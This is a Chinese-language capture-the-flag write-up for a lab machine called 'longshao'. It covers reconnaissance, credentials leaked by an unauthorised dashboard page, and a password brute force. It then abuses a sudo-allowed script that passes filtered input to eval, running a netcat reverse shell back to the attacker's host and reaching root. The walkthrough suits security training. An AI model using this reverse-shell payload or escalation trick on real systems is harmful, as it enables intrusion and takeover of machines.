longshao

信息收集┌──(root㉿kali)-[/opt/toos] └─# arp-scan -I eth0 -l Interface: eth0, type: EN10MB, MAC: 00:0c:29:04:d2:0f, IPv4: 192.168.1.98 Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan) 192.168.1.1 2c:97:b1:f1:e8:65 HUAWEI TECHNOLOGIES CO.,LTD 192.168.1.14 10:7c:61:11:54:28 (Unknown) 192.168.1.87 08:00:27:a9:97:78 PCS Systemtechnik GmbH ​ 90 packets received by filter, 0 packets dropped by kernel Ending arp-scan 1.10.0: 256 hosts scanned in 1.988 seconds (128.77 hosts/sec). 3 respondednmap一下┌──(root㉿kali)-[/opt/toos] └─# nmap -sC -sV 192.168.1.87 -n -vv -min-rate2000 -p- Starting Nmap 7.95 ( https://nmap.org ) at 2026-06-04 12:26 CST NSE: Loaded 157 scripts for scanning. NSE: Script Pre-scanning. NSE: Starting runlevel 1 (of 3) scan. Initiating NSE at 12:26 Completed NSE at 12:26, 0.00s elapsed NSE: Starting runlevel 2 (of 3) scan. Initiating NSE at 12:26 Completed NSE at 12:26, 0.00s elapsed NSE: Starting runlevel 3 (of 3) scan. Initiating NSE at 12:26 Completed NSE at 12:26, 0.00s elapsed Initiating ARP Ping Scan at 12:26 Scanning 192.168.1.87 [1 port] Completed ARP Ping Scan at 12:26, 0.03s elapsed (1 total hosts) Initiating SYN Stealth Scan at 12:26 Scanning 192.168.1.87 [65535 ports] Discovered open port 80/tcp on 192.168.1.87 Discovered open port 22/tcp on 192.168.1.87 Completed SYN Stealth Scan at 12:26, 4.62s elapsed (65535 total ports) Initiating Service scan at 12:26 Scanning 2 services on 192.168.1.87 Completed Service scan at 12:27, 6.03s elapsed (2 services on 1 host) NSE: Script scanning 192.168.1.87. NSE: Starting runlevel 1 (of 3) scan. Initiating NSE at 12:27 Completed NSE at 12:27, 0.18s elapsed NSE: Starting runlevel 2 (of 3) scan. Initiating NSE at 12:27 Completed NSE at 12:27, 0.01s elapsed NSE: Starting runlevel 3 (of 3) scan. Initiating NSE at 12:27 Completed NSE at 12:27, 0.00s elapsed Nmap scan report for 192.168.1.87 Host is up, received arp-response (0.00059s latency). Scanned at 2026-06-04 12:26:54 CST for 11s Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE REASON VERSION 22/tcp open ssh syn-ack ttl 64 OpenSSH 10.3 (protocol 2.0) 80/tcp open http syn-ack ttl 64 Apache httpd 2.4.67 ((Unix)) | http-methods: |_ Supported Methods: GET HEAD POST OPTIONS |_http-server-header: Apache/2.4.67 (Unix) |_http-title: Maze \xE5\x86\x85\xE9\x83\xA8\xE7\xAE\xA1\xE7\x90\x86\xE7\xB3\xBB\xE7\xBB\x9F - \xE7\x99\xBB\xE5\xBD\x95 MAC Address: 08:00:27:A9:97:78 (PCS Systemtechnik/Oracle VirtualBox virtual NIC) ​ NSE: Script Post-scanning. NSE: Starting runlevel 1 (of 3) scan. Initiating NSE at 12:27 Completed NSE at 12:27, 0.00s elapsed NSE: Starting runlevel 2 (of 3) scan. Initiating NSE at 12:27 Completed NSE at 12:27, 0.00s elapsed NSE: Starting runlevel 3 (of 3) scan. Initiating NSE at 12:27 Completed NSE at 12:27, 0.00s elapsed Read data files from: /usr/share/nmap Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 11.19 seconds Raw packets sent: 65536 (2.884MB) | Rcvd: 65536 (2.621MB)发现只有一个80端口上去看看吧又发现了一个登录页面.用dirsearch扫描发现一个未授权访问漏洞能直接读到登录后的dashboard.php页面拿到SSH 凭据baolong:jinhua┌──(root㉿kali)-[/opt/toos] └─# dirsearch -u http://192.168.1.87 --exclude-status404 /usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html from pkg_resources import DistributionNotFound, VersionConflict ​ _|. _ _ _ _ _ _|_ v0.4.3 (_||| _) (/_(_|| (_| ) Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460 ​ Output File: /opt/toos/reports/http_192.168.1.87/_26-06-04_12-38-55.txt ​ Target: http://192.168.1.87/ ​ [12:38:55] Starting: [12:38:55] 403 - 315B - /.ht_wsr.txt [12:38:55] 403 - 315B - /.htaccess.bak1 [12:38:55] 403 - 315B - /.htaccess.orig [12:38:55] 403 - 315B - /.htaccess.sample [12:38:55] 403 - 315B - /.htaccess.save [12:38:55] 403 - 315B - /.htaccess_extra [12:38:55] 403 - 315B - /.htaccess_orig [12:38:55] 403 - 315B - /.htaccess_sc [12:38:55] 403 - 315B - /.htaccessOLD2 [12:38:55] 403 - 315B - /.htaccessBAK [12:38:55] 403 - 315B - /.htaccessOLD [12:38:55] 403 - 315B - /.htm [12:38:55] 403 - 315B - /.html [12:38:55] 403 - 315B - /.htpasswd_test [12:38:55] 403 - 315B - /.htpasswds [12:38:55] 403 - 315B - /.httr-oauth [12:39:01] 200 - 1KB - /cgi-bin/test-cgi [12:39:01] 200 - 820B - /cgi-bin/printenv [12:39:03] 200 - 2KB - /dashboard.php [12:39:12] 403 - 315B - /server-status/ [12:39:12] 403 - 315B - /server-status ​ Task Completed提权chaojibaolong上去后搜索了一圈没有什么能直接提权到下一用户的信息就尝试爆破一下密码然后就成功拿到了密码chaojiwudilong在sudo中发现/usr/local/bin/check_parser可以利用看看能读不能读就直接分析chaojibaolonglongshao:/home/baolong$ sudo -l Matching Defaults entries for chaojibaolong on longshao: secure_path/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin ​ Runas and Command-specific defaults for chaojibaolong: Defaults!/usr/sbin/visudo env_keepSUDO_EDITOR EDITOR VISUAL ​ User chaojibaolong may run the following commands on longshao: (ALL : ALL) NOPASSWD: /usr/local/bin/check_parser chaojibaolonglongshao:/home/baolong$ cat /usr/local/bin/check_parser #!/bin/sh ​ if [ $(id -u) -ne 0 ]; then echo syslog-rotate: general protection fault: permission denied. 2 exit 1 fi ​ if [ -z $1 -a ! -f $1 ]; then echo Usage: $(basename $0) target_spool_path [--force-cron] exit 1 fi ​ ​ exec /opt/internal/parser_core $又看到他会执行/opt/internal/parser_core就去分析它是做什么的程序必须以root 用户UID 0运行然后解析一个位于/tmp目录下、以.log结尾的日志文件。如果文件存在仅输出一些提示信息如果文件不存在且命令行中提供了--debug参数则会直接执行/bin/su - chaojiwudilong从而切换到另一个普通用户无需密码root然后就去分析a.sh的脚本看看有没有提权的机会chaojiwudilonglongshao:~$ cat /usr/local/bin/a.sh PATH/usr/bin ​ cd /tmp ​ read CMD (head -n1 | tr -d [A-Za-z0-9/]) eval $CMD它从标准输入读取第一行删除所有字母、数字和斜杠/然后eval执行。字母数字和斜杠被删后直接无法输入/bin/bash等命令。但是$是特殊变量它不会被tr删除$和不是字母数字斜杠。当eval $CMD时如果CMD的值是$它会展开为脚本的所有位置参数即sudo命令行中传递给a.sh的参数。payloadecho $ | sudo /usr/local/bin/a.sh /usr/bin/nc 192.168.1.98 9001 -e /bin/bash然后用payload直接就能反弹shell了chaojiwudilonglongshao:/home/baolong$ echo $ | sudo /usr/local/bin/a.sh /usr/bin/nc 192.168.1.98 9001 -e /bin/bash /bin/bash: line 2: ls: command not found /bin/bash: line 3: ls: command not found ​ ​ ──(root㉿kali)-[/etc/ssh] └─# stty raw -echo;fg [1] continued nc -lvnp 9001 reset longshao:/tmp# id uid0(root) gid0(root) groups0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video) longshao:/tmp# ls bash: ls: command not found longshao:/tmp# cd /root longshao:~# dir bash: dir: command not found longshao:~# find. bash: find.: command not found longshao:~# find . . ./.bash_history ./.irb_history ./root.txt ./pass.txt ./.ash_history ./.ssh ./.ssh/authorized_keys longshao:~# cact ./pass.txt bash: cact: command not found longshao:~# cat ./pass.txt bash: cat: command not found longshao:~# strings ./pass.txt chaojiheianwudilong longshao:~# longshao:~# id uid0(root) gid0(root) groups0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video) longshao:~# strings root.txt flag{root-e0bf0dabcccb7d4519c0ad4b431aff16} longshao:~#好了拿到root了 嘻嘻